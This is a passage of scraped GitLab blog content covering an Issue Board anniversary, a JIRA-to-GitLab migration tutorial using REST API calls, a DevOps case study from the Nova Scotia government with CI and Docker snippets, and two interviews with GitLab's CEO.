own](https://zapier.com/app/editor/25451800/nodes/25451800/action) or tweet [@zapier](https://twitter.com/zapier) with your ideas.\n",[232,1444],{"slug":35110,"featured":6,"template":678},"gitlab-zapier-integration","content:en-us:blog:gitlab-zapier-integration.yml","Gitlab Zapier Integration","en-us/blog/gitlab-zapier-integration.yml","en-us/blog/gitlab-zapier-integration",{"_path":35116,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35117,"content":35123,"config":35127,"_id":35129,"_type":16,"title":35130,"_source":17,"_file":35131,"_stem":35132,"_extension":20},"/en-us/blog/issue-boards-anniversary",{"title":35118,"description":35119,"ogTitle":35118,"ogDescription":35119,"noIndex":6,"ogImage":35120,"ogUrl":35121,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35121,"schema":35122},"The evolution of the GitLab Issue Board","Celebrating one year of flexible, integrated project and release management workflows inside GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680378/Blog/Hero%20Images/issue-boards-anniversary.jpg","https://about.gitlab.com/blog/issue-boards-anniversary","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The evolution of the GitLab Issue Board\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2017-08-23\",\n      }",{"title":35118,"description":35119,"authors":35124,"heroImage":35120,"date":35106,"body":35125,"category":299,"tags":35126},[28961],"\n\n[Collaboration is driven by conversation](https://www.forbes.com/sites/laurencebradford/2016/12/30/the-future-of-web-development-with-gitlab-ceo-sid-sijbrandij/#7b8895b04148). It should be a natural and integrated\npractice throughout the development lifecycle, not a manual, contrived process\nthat requires administration and maintenance. By integrating every step of the\nsoftware development lifecycle and providing all the necessary collaboration\ntools, GitLab by default provides all the capabilities modern development teams need to support cross-functional collaboration at scale. GitLab was created so teams could focus more on their work, not on configuring their tools.\n\n\u003C!-- more -->\n\nLast year, we announced the first iteration of the [GitLab Issue Board](/stages-devops-lifecycle/issueboard/), a major\nmilestone in our mission to create an open source and integrated\nproduct for modern software development. Built on top of our integrated issue\ntracking system, it became possible to visualize your work and customize your\nworkflow inside of GitLab.\n\nToday, GitLab comes with everything you need to plan and track projects and\nreleases, including issues (tracker and board), milestones, burndown charts,\nchat integration, and more. Communication is centralized, plans\nand progress are visible, and work is linked, making collaboration frictionless.\n\nTo celebrate our progress over the past year, no small thanks to the community and feedback from our customers, we wanted to take a look at where\nthe Issue Board has gone since we launched its first iteration in GitLab 8.11.\n\n## The evolution of the GitLab Issue Board\n\nAt GitLab, we practice [Conversational Development](http://conversationaldevelopment.com/). Our software development is centered around conversations on what can be improved, how to implement it,\nwhether or not it worked, and if it achieved the expected value. Instead of\nwaiting months to release a “perfect” feature, we work on smaller, functional\nchanges that can get into the hands of our users much more quickly. There’s a few reasons why we develop software this way: in addition to being\nable to deliver value faster, we can also react to the market and iterate faster with more frequent feedback loops, and if something goes wrong, it’s easier to spot and fix the problem.\n\nThis is how we built the GitLab Issue Board. We started by shipping the basic\nfunctionality needed to allow users to visualize and track their issues. Over the last 12 months, we’ve released small changes every month. Today, the GitLab Issue Board has everything you need to plan and track your projects and releases.\n\nHere’s how we built it over multiple monthly releases:\n\n### August—October 2016 | GitLab 8.11-13\nThe [GitLab Issue Board](https://docs.gitlab.com/ee/user/project/issue_board.html)\nis released in 8.11. Built on top of our integrated issue\ntracking system, it uses labels from issues to create lists on a board. You can drag and drop lists to organize your workflow, move issues between lists, and labels are updated automatically as you move them across the board.\n\nUsers now have the ability to [create workflows inside of GitLab](https://docs.gitlab.com/ee/user/project/issue_board.html#creating-workflows).\n\n\u003Cimg src=\"/images/8_11/issue_boards.gif\" alt=\"Issue Boards in GitLab 8.11\" class=\"shadow\">\n\n[Multiple Issue Boards](https://docs.gitlab.com/ee/user/project/issue_board.html#multiple-issue-boards) are released in 8.13. Users can now create multiple\nworkflows, allowing different teams to create their own customized boards with\nthe same issues. Once a board is finished, you can leave it as is to review later, or recycle it.\n\n\u003Cimg src=\"/images/8_13/m_ib.gif\" alt=\"Multiple Issue Boards in GitLab 8.13\" class=\"shadow\">\n\n### January—February 2017 | GitLab 8.16-17\nNew search and filter interface is added to the [Issue Tracker](https://docs.gitlab.com/ee/user/project/issues/index.html) in 8.16, making it easier for users to search and filter their issues by different attributes such as author, assignee, milestone, and label.\n\nThe new search and filter interface is added to the Issue Board in GitLab 8.17,\nimproving usability. A modal window is added to display all issues that don’t belong to a list for easier search and filtering.\nIssues can be added to a list from the modal, and issues can be removed from a\nlist on the board.\n\n\u003Cimg src=\"/images/8_17/board_modal.png\" alt=\"Add issues modal in board in GitLab 8.17\" class=\"shadow\">\n\n### March 2017 | GitLab 9.0\n[Milestones](https://docs.gitlab.com/ee/user/project/milestones/index.html) are added to the Issue Board in GitLab 9.0 enabling users to organize issues into cycles or sprints with a start date and deadline. Issues can be filtered on the board by milestone, or new boards can be created for individual milestones.\n\n\u003Cimg src=\"/images/9_0/boards_milestone.gif\" alt=\"Boards Milestone\" class=\"shadow\">\n\nThe ability to [reorder issues in a Board list](https://docs.gitlab.com/ee/user/project/issue_board.html#re-ordering-an-issue-in-a-list) is also introduced in 9.0. Now, users prioritize issues within a list simply by dragging and dropping the issue card.\n\n\u003Cimg src=\"/images/9_0/boards_reorder.gif\" alt=\"Boards Reorder\" class=\"shadow\">\n\n## Get started with GitLab Issue Boards\n\nStart building your project and release management workflows using the Issue Board.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/CiolDtBIOA0\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\nIn this video, Discussion Product Manager Victor Wu demonstrates how to use GitLab Issue Boards for Agile and Scrum-style planning and tracking.\n\n### Documentation Quick Links\n\n- [Issue Board Overview](https://docs.gitlab.com/ee/user/project/issue_board.html#overview)\n- [Issue Boards for Scrum](https://docs.gitlab.com/ee/user/project/issue_board.html#scrum-team)\n- [Issue Board terminology](https://docs.gitlab.com/ee/user/project/issue_board.html#issue-board-terminology)\n- [Creating workflows](https://docs.gitlab.com/ee/user/project/issue_board.html#creating-workflows)\n\n## Help us celebrate our #Issueversary\n\nEveryone has an Issue Board story. Maybe you spent months on a long conversation to get your legal team to embrace the Kanban and promptly blew their minds. Maybe your team is full of diehards driven by strongly held opinions over exactly how many stages yours should have. Maybe you're a remote worker and your issue board is one of the main ways you keep up with teammates spread across the globe.\n\nWhatever your story is, we want to hear from you! Help us celebrate a year of the GitLab Issue Board by [sending us your Issue Board story](https://docs.google.com/forms/d/e/1FAIpQLSf_0DTiQX1X048X6ioAVLRLSBwJzVSG1LH7LupoFdsascPAAw/viewform)\nfor your chance to win free GitLab swag. We'll tweet out our favorites and announce the winners on September 5.\n",[754,1444],{"slug":35128,"featured":6,"template":678},"issue-boards-anniversary","content:en-us:blog:issue-boards-anniversary.yml","Issue Boards Anniversary","en-us/blog/issue-boards-anniversary.yml","en-us/blog/issue-boards-anniversary",{"_path":35134,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35135,"content":35140,"config":35146,"_id":35148,"_type":16,"title":35149,"_source":17,"_file":35150,"_stem":35151,"_extension":20},"/en-us/blog/migrating-your-jira-issues-into-gitlab",{"title":35136,"description":35137,"ogTitle":35136,"ogDescription":35137,"noIndex":6,"ogImage":14756,"ogUrl":35138,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35138,"schema":35139},"Migrating your JIRA issues to GitLab","We're migrating all of our working tools to open-source ones, and moving to GitLab has made all the difference.","https://about.gitlab.com/blog/migrating-your-jira-issues-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrating your JIRA issues to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abdulkader Benchi\"}],\n        \"datePublished\": \"2017-08-21\",\n      }",{"title":35136,"description":35137,"authors":35141,"heroImage":14756,"date":35143,"body":35144,"category":734,"tags":35145},[35142],"Abdulkader Benchi","2017-08-21","\n\n Here at [Linagora](https://linagora.com/), we believe in open source. If you have read my [last article](/blog/docker-my-precious/), you should know that we have recently migrated from [Atlassian](https://www.atlassian.com/) to [GitLab](https://gitlab.com/).\n\n\u003C!-- more -->\n\n_Editor's note: We don't currently have a native way to migrate JIRA issues into GitLab issues, although we are [working on one](https://gitlab.com/gitlab-org/gitlab-ee/issues/2780)! In the meantime, we are very appreciative of community efforts to provide workarounds like this one._\n\nMigrating our repositories from [Bitbucket](https://bitbucket.org/) to GitLab was so easy thanks to Git. However, migrating our issues (aka tickets) from [JIRA](https://www.atlassian.com/software/jira) to GitLab was not so obvious. In fact, there are several alternative solutions to integrate JIRA as a plugin inside GitLab so as to continue using JIRA along with GitLab. However, our main goal was to completely leverage GitLab as our only open-source development tool.\n\nIf you want to know how to migrate your JIRA issues into GitLab, then you are on the right article. Once you read it, you will discover that it is really so easy to do the migration from JIRA to GitLab. Yes, as you can see, winter is coming to GitLab rivals, because everything is possible with GitLab.\n\n### Migrating JIRA issues into GitLab Issues\n\nOur migration process will leverage the [REST APIs](http://www.restapitutorial.com/) provided by both [JIRA REST API](https://developer.atlassian.com/jiradev/jira-apis/jira-rest-apis) and GitLab Issues [REST API](https://docs.gitlab.com/ee/api/issues.html).\n\n#### API calls:\n\nTo perform REST API cals, you can use your own preferred library. For me, I will use [axios](https://github.com/mzabriskie/axios), which is my preferred promise based HTTP client for the browser and node.js. You can simply install it locally by doing:\n\n```\nnpm install axios\n\n```\n\n#### JIRA side:\n\nBefore requesting the endpoints provided by JIRA, we need to gather the following information:\n\n```\n// the base url to your JIRA\nconst JIRA_URL = 'https://your-jira-url.com/';\n\n// the JIRA project ID (short)\nconst JIRA_PROJECT = 'PRO';\n\n// JIRA username and password used to login\nconst JIRA_ACCOUNT = {\n  username,\n  password\n};\n\n```\n\nNow, we need to call two endpoints call during the migration process. The first endpoint is to get all **JIRA issues**:\n\n```\naxios.request({\n  method: 'get',\n  url: `${JIRA_URL}/rest/api/2/search?jql=project=${JIRA_PROJECT}+order+by+id+asc&startAt=${offset}&maxResults=${limit}`,\n  auth: {\n    username: JIRA_ACCOUNT.username,\n    password: JIRA_ACCOUNT.password\n  }\n})\n```\n\nThe second endpoint is to get the **attachments** and the **comments** related to a given issue:\n\n```\naxios.request({\n  method: 'get',\n  /*\n  * JIRA_ISSUE = the JIRA issue that we get from the previous call\n  */\n  url: `${JIRA_URL}/rest/api/2/issue/${JIRA_ISSUE.id}/?fields=attachment,comment`,\n  auth: {\n    username: JIRA_ACCOUNT.username,\n    password: JIRA_ACCOUNT.password\n  }\n})\n```\n\n#### GitLab side:\n\nAs for JIRA, we need to gather some information before starting sending REST requests:\n\n```\n// the base url to your GitLab\nconst GITLAB_URL = 'http://your-gitlab-url.com/';\n\n// the project in gitlab that you are importing issues to\nconst GITLAB_PROJECT = 'namespaced/project/name';\n\n// GitLab username and password used to login\nconst GITLAB_ACCOUNT = {\n  username,\n  password\n};\n\n/* this token will be used whenever the API is invoked and\n* the jira's author of (the comment / attachment / issue) is not a gitlab user.\n* So, this identity will be used instead.\n* GITLAB_TOKEN is visible in your account: https://ci.linagora.com/profile/account\n*/\nconst GITLAB_TOKEN = 'get-this-token-from-your-profile';\n```\n\nEach JIRA issue has several fields which represent JIRA users, e.g., *assignee* and *reporter*. Once migrating to GitLab we should try to link these users to GitLab users (if they already exist on GitLab). However, if the user is not a GitLab user, then we have to leverage the **GITLAB_TOKEN** (line 18 in the last gist). That is, if the user does not exist on GitLab, then the identity of the user who is doing the migration will be used instead.\n\nTo search all GitLab users we need to send the following REST call:\n\n```\naxios.request({\n  method: 'get',\n  // 10000 users, should be enough to get them all\n  url: `${GITLAB_URL}/api/v4/users?active=true&search=&per_page=10000`,\n  headers: {\n    'PRIVATE-TOKEN': GITLAB_TOKEN\n  }\n})\n```\n\nAnd now, we can find the corresponding GitLab user for each JIRA user by doing:\n\n```\nfunction jiraToGitlabUser(JIRAUser) {\n    // GitLabUsers = the list of GitLab users we get from the last call\n    return JIRAUser ? _.find(GitLabUsers, { email: JIRAUser.emailAddress }) : null\n  }\n```\n\nIt is worth noting that JIRA and GitLab issues are different in nature, so you need to migrate one type of issue to another. After searching all [JIRA issues](https://medium.com/linagora-engineering/gitlab-rivals-winter-is-here-584eacf1fe9a) and [JIRA attachments](https://medium.com/linagora-engineering/gitlab-rivals-winter-is-here-584eacf1fe9a) and comments, we can now transfer them into GitLab issues by doing the following mapping:\n\n```\n{\n    title: JIRAIssue.fields.summary,\n    description: JIRAIssue.fields.description,\n    labels: [JIRAIssue.fields.issuetype.name],\n    created_at: JIRAIssue.fields.created,\n    updated_at: JIRAIssue.fields.updated,\n    done: issue.fields.status.statusCategory.name === 'Done' ? true : false,\n    assignee: jiraToGitlabUser(JIRAIssue.fields.assignee ),\n    reporter: jiraToGitlabUser(JIRAIssue.fields.reporter),\n    comments: JIRAComments.map(JIRAComment => ({\n      author: jiraToGitlabUser(JIRAComment.author),\n      comment: JIRAComment.body,\n      created_at: JIRAComment.created\n    })),\n    attachments: JIRAAttachments.map(JIRAAttachment => ({\n      author: jiraToGitlabUser(JIRAAttachment.author),\n      filename: JIRAAttachment.filename,\n      content: JIRAAttachment.content,\n      created_at: JIRAAttachment.created\n    }))\n};\n```\n\nNow our GitLab issue is created, all what we need to do is to post it:\n\n```\naxios.request({\n  method: 'post',\n  url: `${GITLAB_URL}/api/v4/projects/${encodeURIComponent(GITLAB_PROJECT)}/issues`,\n  // the GitLab issue that we have just created\n  data: GITLAB_ISSUE\n  headers: {\n    'PRIVATE-TOKEN': GITLAB_TOKEN\n  }\n})\n```\n\nAs you can see, migrating your JIRA tickets to GitLab is all about some REST API calls. As a developer, I think that you do such REST API calls every day. So we really do not need to stuck with JIRA nor to add it as a plugin to GitLab.\n\nIf you think that this article helps you discover something interesting that you feel you want to do every day, so please do not hesitate and join us. We are looking for new talents. For more information, you can have a look at our [Job site](https://job.linagora.com/en/).\n\n\nThis post originally appeared on _[Medium](https://medium.com/linagora-engineering/gitlab-rivals-winter-is-here-584eacf1fe9a)_.\n\n### About the Guest Author\n\nAbdulkader Benchi is the Javascript team leader at [Linagora](https://linagora.com/careers).\n",[232,1444],{"slug":35147,"featured":6,"template":678},"migrating-your-jira-issues-into-gitlab","content:en-us:blog:migrating-your-jira-issues-into-gitlab.yml","Migrating Your Jira Issues Into Gitlab","en-us/blog/migrating-your-jira-issues-into-gitlab.yml","en-us/blog/migrating-your-jira-issues-into-gitlab",{"_path":35153,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35154,"content":35160,"config":35166,"_id":35168,"_type":16,"title":35169,"_source":17,"_file":35170,"_stem":35171,"_extension":20},"/en-us/blog/pick-your-brain-interview-jake-stein",{"title":35155,"description":35156,"ogTitle":35155,"ogDescription":35156,"noIndex":6,"ogImage":35157,"ogUrl":35158,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35158,"schema":35159},"Open source lessons learned: My interview with GitLab’s CEO","Stitch CEO and co-founder Jake Stein sits down for a pick your brain meeting with GitLab CEO Sid Sijbrandij.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680388/Blog/Hero%20Images/pyb-jake-stein.jpg","https://about.gitlab.com/blog/pick-your-brain-interview-jake-stein","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Open source lessons learned: My interview with GitLab’s CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jake Stein\"}],\n        \"datePublished\": \"2017-08-18\",\n      }",{"title":35155,"description":35156,"authors":35161,"heroImage":35157,"date":35163,"body":35164,"category":813,"tags":35165},[35162],"Jake Stein","2017-08-18","\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or discussion of other things related to GitLab._\n\nWhen we launched Singer, our [open source ETL project](https://www.singer.io/) at [Stitch](https://www.stitchdata.com/), I was looking for advice on the best strategies to make it successful. August Capital is an investor in both Stitch and GitLab, and they were kind enough to introduce me to Sid Sijbrandij, CEO of GitLab. Sid was very generous with his time, and he shared some of his lessons learned about open source.  \n\n\u003C!-- more -->\n\n## GitLab’s unique approach\n\nAs I explained Stitch to Sid, he asked a few follow up questions, and then shared information about a plan to build up the GitLab analytics stack. I didn’t set up the call intending to sell, but before it was over, he had added us to the publicly accessible page listing the tools that their team plans to evaluate. Their transparency is very impressive, and it eliminates the friction that can slow down a traditional company.\n\n## Open source adoption\n\nVirtually all of GitLab’s paying customers have come from their open source user base. While GitLab has a large sales team, they are primarily focused on converting users to the paid products rather than getting new GitLab users.  \n\nOver 100,000 organizations use GitLab, and their product and engineering teams are responsible for growing that number. One of most important drivers of that growth has been improving the first run experience and time to value.  \n\nWe already had plans to improve the Singer user experience, but Sid encouraged me to take it a step further. The most common use case for Singer, and ETL in general, is pulling data into a database and then visualizing the data. He recommended that we bundle Singer with a PostgreSQL database and an open source visualization tool like Metabase into a easy-to-use package, potentially in a Docker container, which will allow users to get to their end goal much faster.\n\nThis was a really interesting idea that had not occurred to our team before. It motivated us to start thinking more holistically about the goals of our open source users, and I’m confident that this will help us grow adoption of Singer.  \n\n## Open source business model\n\nGitLab started as a free, open source tool and later introduced an enterprise edition and the free SaaS version of GitLab.com. Several years later, in April of 2017, they introduced paid tiers on GitLab.com.\n\nWe’ve taken a very different path with Stitch. We launched with a freemium SaaS service, and subsequently added an enterprise edition of the SaaS product and the free, open source Singer project.  \n\nI thought that the differences in GitLab’s path might have been due to a philosophical decision about business model sequence, but it was much more practical. GitLab started as an open source project, and a business was created around it only after the project had significant traction. In the early days of the business, on-premises was where all of the usage was, so that’s where they started to charge. The original SaaS product was free so it could get traction and build a network effect. As the SaaS product got better, and as the cost of hosting the ever-growing number of SaaS users increased, they launched paid tiers.  \n\nWhile Stitch and GitLab had very different beginnings, our business models have evolved in a similar direction. It was great to get the benefit of the lessons that Sid has learned as we chart our own course.  \n\n## About the Guest Author\n\nJake Stein is the co-founder and CEO of Stitch. Prior to Stitch, Stein was co-founder and COO at RJMetrics, a business intelligence software company that was acquired by Magento in 2016. Before founding RJMetrics, Jake worked at Insight Venture Partners, a software-focused venture capital and private equity firm. He graduated from the Wharton School at the University of Pennsylvania with high honors and concentrations in Finance and Entrepreneurship.\n",[3949,815],{"slug":35167,"featured":6,"template":678},"pick-your-brain-interview-jake-stein","content:en-us:blog:pick-your-brain-interview-jake-stein.yml","Pick Your Brain Interview Jake Stein","en-us/blog/pick-your-brain-interview-jake-stein.yml","en-us/blog/pick-your-brain-interview-jake-stein",{"_path":35173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35174,"content":35179,"config":35186,"_id":35188,"_type":16,"title":35189,"_source":17,"_file":35190,"_stem":35191,"_extension":20},"/en-us/blog/devops-at-nova-scotia-province",{"title":35175,"description":35176,"ogTitle":35175,"ogDescription":35176,"noIndex":6,"ogImage":33810,"ogUrl":35177,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35177,"schema":35178},"How we introduced DevOps at the province of Nova Scotia","The Linux Ops team and one of the Development teams at the Government of Nova Scotia introduced DevOps practices to their workflow – find out how they did it and what benefits they're now enjoying.","https://about.gitlab.com/blog/devops-at-nova-scotia-province","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we introduced DevOps at the province of Nova Scotia\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steven Zinck\"},{\"@type\":\"Person\",\"name\":\"Paul Badcock\"}],\n        \"datePublished\": \"2017-08-14\",\n      }",{"title":35175,"description":35176,"authors":35180,"heroImage":33810,"date":35183,"body":35184,"category":8943,"tags":35185},[35181,35182],"Steven Zinck","Paul Badcock","2017-08-14","\n\nDevOps is the practice of breaking down silos between Development and Operations teams. DevOps promotes a culture and practices where Dev and Ops teams have open communication and collaboration. This article explains how the Linux Ops team and one of the Development teams at the Government of Nova Scotia were able to implement DevOps practices and realize its benefits.\n\n\u003C!-- more -->\n\n## The beginning\n\nThe Linux Ops team was asked to host a Ruby application built circa 2006. We’re a Red Hat Enterprise Linux shop, provisioning the newest release of RHEL 7 and the Ruby app required gems that are only compatible with RHEL 6 and older. So, we had two options - provision a new RHEL 6 VM - something we haven’t done in over a year, or take this opportunity to containerize the application and use it as a proof of concept. Although we’ve been using containers for over two years in our [Puppet CI](https://medium.com/@szinck/how-we-use-gitlab-at-the-province-of-nova-scotia-708b514cc47f) environment, and have containerized some of our own management apps, this was our first client application to containerize.\n\nYou can also learn more about our DevOps transformation by watching our recent interview:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/SHdeqznJXbc\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## Ops digs into the application\n\nSince the Ruby code for the application was already in our GitLab, we had easy access to it so we could begin to understand its functionality. How does authentication work? How does SSL work? Where are assets stored? Exactly which gems are required? Does the system send email, and if so, how?\nAs we started to peek into the application, we found the answers to all of these things and a lot more. We were able to make a couple improvements to the application, for example, we were able to remove hard-coded values and switch to variables. In particular, we were able to expose database connection strings which can be leveraged by Docker Swarm.\n\n## The Docker image\n\nNow that we had a better understanding of how the application works, we started working on the container to host the application. We started with a base image of RHEL 6.9 and began layering on the dependencies and the application itself. Since the Development team is naturally very knowledgeable about their application, we collaborated closely with them on this process.\n\n## Automatically building and deploying\n\nOnce we had an image we were happy with, it was time to configure [Docker Swarm](https://docs.docker.com/engine/swarm/) and configure GitLab CI to push the image to our Docker registry.\n\nI’ve included the relevant piece of our CI configuration below. As you can see, we’re tagging the Docker image with the last commit # and pushing it to our internal registry.\n\n```build_image:\n  image: docker:1.12\n  stage: build\n  script:\n    - docker build -t\n    ${DOCKER_REGISTRY}/${NAMESPACE}/${CI_PROJECT_NAME}:${CI_COMMIT_SHA}\n    - docker push  \n    ${DOCKER_REGISTRY}/${NAMESPACE}/${CI_PROJECT_NAME}:${CI_COMMIT_SHA}\n```\n\nNow that the image is up on our registry, we can tell Docker Swarm that a new image is available. Swarm will automatically pull down the new image and reload the application with less than five seconds of downtime.\n\n```\nDOCKER_HOST=\"${DOCKER_DEV_HOST}\" docker service update --image  \n${DOCKER_REGISTRY}/${NAMESPACE}/${CI_PROJECT_NAME}:${CI_COMMIT_SHA}  \n${CI_PROJECT_NAME}_app_1\n```\n\n## Automating security scanning (DevSecOps!)\n\nIn addition to building the image, we also run a battery of security tests against the application code, the operating system, and application in its running state.\n\n![pipeline](https://about.gitlab.com/images/blogimages/devops-nova-scotia-screengrab.png){: .shadow}\u003Cbr>\n\nAs you can see from the pipeline, after the image is built, we run a static code analysis using [Brakeman](http://brakemanscanner.org/). Brakeman tests the code for security issues, and since it’s a code analysis tool, the application doesn’t need to be running. After the code scan, we run [Red Hat’s atomic scanner](https://developers.redhat.com/blog/introducing-atomic-scan-container-vulnerability-detection/) against the image. This tool will notify us of any known security issues in the operating system. Finally, we can deploy the application and then run [Arachni](http://www.arachni-scanner.com/) to test the application in its running state.\n\n## Benefits of DevOps\n\nWe’ve discovered several benefits from this approach:\n\n- The Ops and Dev teams worked closely together, each learning about the other's domain expertise. As Ops discovered issues with the application, we were able to make code changes that were peer-reviewed by the Dev team using the [Git Flow](https://datasift.github.io/gitflow/IntroducingGitFlow.html) development model.\n- The time to delivery for the application has improved drastically, and a framework has been established that existing, new and third-party staff can all leverage.\n- Lower failure ratec - if a new vulnerability is introduced into the stack, we’ll know.\n- Fixes can be applied on demand by Dev without Ops involvement.\n- Recovery of the application is now as simple as two clicks.\n- Dev and Ops both understand how the application functions and have a blueprint of its architecture in the Docker configuration.\n\n## Next steps\n\nWe’re actively collaborating with other Development teams across government to implement DevOps-style practices. From a technology perspective, we’re aggressively working towards improving our technology stack so that we can improve business value for our customers.\n\nThis post originally appeared on [*Medium*](https://medium.com/@szinck/devops-at-the-province-of-nova-scotia-42688759a25d).\n\n### About the Guest Authors\n\n[Steve Zinck](https://www.linkedin.com/in/stevezinck/) spent most of his career working in the Public Service as a Unix and Infrastructure administrator. Over the past few years, he's started to transition away from traditional systems administration and begun to focus on software delivery and automation. As part of that transition, his team has implemented GitLab at the core of our automation and software delivery stack. His current focus is working with software and application teams to assist in streamlining their deployment and delivery process.\n\n[Paul Badcock](https://www.linkedin.com/in/pbadcock/?ppe=1) started working in the IT sector in 1998 with positions in small startups, to large Fortune 500 companies, to currently on a public-sector team. His career was focused as a traditional IT Linux administrator until in the mid-2000s he started focusing on adopting development tooling, practices and methodologies for operational teams. This work culminated in implementing an early 2010s DevOps workplace framework with the help of @stewbawka and subsequently working with like-minded teams since. As a part of adopting developer tools he has previously worked with and managed CVS, SVN installations and various vendor products before reading a “Show HN” posting on Hacker News about GitLab.\n",[4103,1444],{"slug":35187,"featured":6,"template":678},"devops-at-nova-scotia-province","content:en-us:blog:devops-at-nova-scotia-province.yml","Devops At Nova Scotia Province","en-us/blog/devops-at-nova-scotia-province.yml","en-us/blog/devops-at-nova-scotia-province",{"_path":35193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35194,"content":35200,"config":35206,"_id":35208,"_type":16,"title":35209,"_source":17,"_file":35210,"_stem":35211,"_extension":20},"/en-us/blog/pick-your-brain-interview-cedric-savarese",{"title":35195,"description":35196,"ogTitle":35195,"ogDescription":35196,"noIndex":6,"ogImage":35197,"ogUrl":35198,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35198,"schema":35199},"Pick Your Brain interview: FormAssembly CEO Cedric Savarese","GitLab CEO Sid Sijbrandij and FormAssembly CEO Cedric Savarese met online to talk remote culture, hiring and scaling.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680396/Blog/Hero%20Images/pick-your-brain-with-cedric-savarese.jpg","https://about.gitlab.com/blog/pick-your-brain-interview-cedric-savarese","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pick Your Brain interview: FormAssembly CEO Cedric Savarese\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley McAlpin\"}],\n        \"datePublished\": \"2017-08-11\",\n      }",{"title":35195,"description":35196,"authors":35201,"heroImage":35197,"date":35203,"body":35204,"category":6634,"tags":35205},[35202],"Ashley McAlpin","2017-08-11","\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or discussion of other things related to GitLab._\n\nNavigating growth in a high-tech remote organization can be challenging. CEO of [FormAssembly](https://www.formassembly.com/), Cedric Savarese, recently sat down with GitLab CEO Sytse (Sid) Sijbrandij to chat about remote culture, hiring and scaling.\n\n\u003C!-- more -->\n\nRemote culture can be difficult to navigate. At FormAssembly, we approach our [team](https://www.formassembly.com/team/) and the way we work by carefully considering job functions and responsibilities, geographical location and team needs overall. During their chat, Cedric and Sid discussed addressing third-party perceptions as a growing remote team — here are some of the highlights.\n\n## Can remote sales teams really grow successfully?\n\n**Cedric:** I’ve heard it especially for sales teams, where it seems to be that salespeople kind of benefit from being in the sort of boiler room environment where they kind of feed on each other’s energy, to successfully grow remotely. You guys do enterprise sales, so is that something that you’ve found to be true? Or are you considering having some teams maybe more concentrated?\n\n**Sid:** Yep, certainly we were under the same assumptions, so we were completely remote at Y Combinator and everyone’s like “Yeah, it works for developers, they’re used to it, they like it, but it doesn’t work for anything else.” So we’re like, ok, we’re not going to be, one of our values is boring solutions, we’re not going to like try to be innovative here. We got an office, I’m sitting in it now, and we got nine desks or something here, and we’re like “We’ll grow  out of this, but it’s a good start. We’ll hire the salespeople and they’ll be working the phones and they’ll be high-fiving one another. So salespeople came in and after a few days, they kind of stopped coming in. And I was like, ok, well, what I’m gonna tell them? You have to be here man. No, that’s like, sort of, like in our handbook. We value results, I don’t particularly care how you get it done, just get it done. So I wanted to stay true to that and actually now that I’ve talked to more and more people, most people say “Oh, enterprise sales team, they’re kind of remote anyway because as soon as you grow, you split it up by geography, especially enterprise sales, so people are spread across the country anyway.”\n\n**Cedric:** Yeah, that’s true that the larger the organization gets, the more they have to spread out, even if you’re not truly remote, you’re going to be in bigger buildings, you’re going to be in different buildings and then you’re going to be in satellite offices and so on, so in the end, you’re doing the same as a remote team.\n\n## How do you address communication and collaboration as a remote team?\n\n**Sid:** So what we do is we create lots of like artifacts. We extensively use issues in Google docs and we tend to write things down. In an on-premises company, you can get away with doing a lot of things verbally, with us, it’s very often written down so there is an issue to refer to, there is a doc to refer to, and like making your own notes and not putting them in the doc is kind of like a cardinal sin. That’s not ok, we should all be on the same page. And we recognize that takes effort but you’re not going to, that’s what makes us work together efficiently. I think that if you do it right it’s easy to have a high-growth company that’s remote but that, well, maybe not necessarily remote, but that has a really good handbook. We went from nine people to 150 people in two years, that is normally your culture dilutes a lot because everyone kind of verbally – you get the telephone game where it gets worse over time. The message gets more garbled every time it’s transferred. Guess what, we don’t use telephone, we use a handbook, and the message doesn’t get more garbled, the message just gets better because continually we’re updating that so we don't end up with a diluted culture, we end up with an enhanced cultures and customs and practices.\n\n**Cedric:** Do you spend any time in person with your new hires or do you just start fully remote?\n\n**Sid:** No, we don’t spend any time in person, either during the hiring process or after they start.\n\n**Cedric:** Do you think there’s value in spending some time with someone in person before kind of letting them loose on a remote project?\n\n**Sid:** Yeah, I guess there’s value. When people are close to each other, we sometimes recommend, like, hey this person’s close to you, consider, especially your first month, spending a day together every week or something. But not that often, and it’s not necessary, I think. But, there is value in having a buddy, so we assign a buddy. There is value in meeting people in the company, so we require everyone to have 10 virtual coffee breaks, and try to distill, the trick is distill what was the in-person thing good for? Well to have a very low-friction way of asking people a 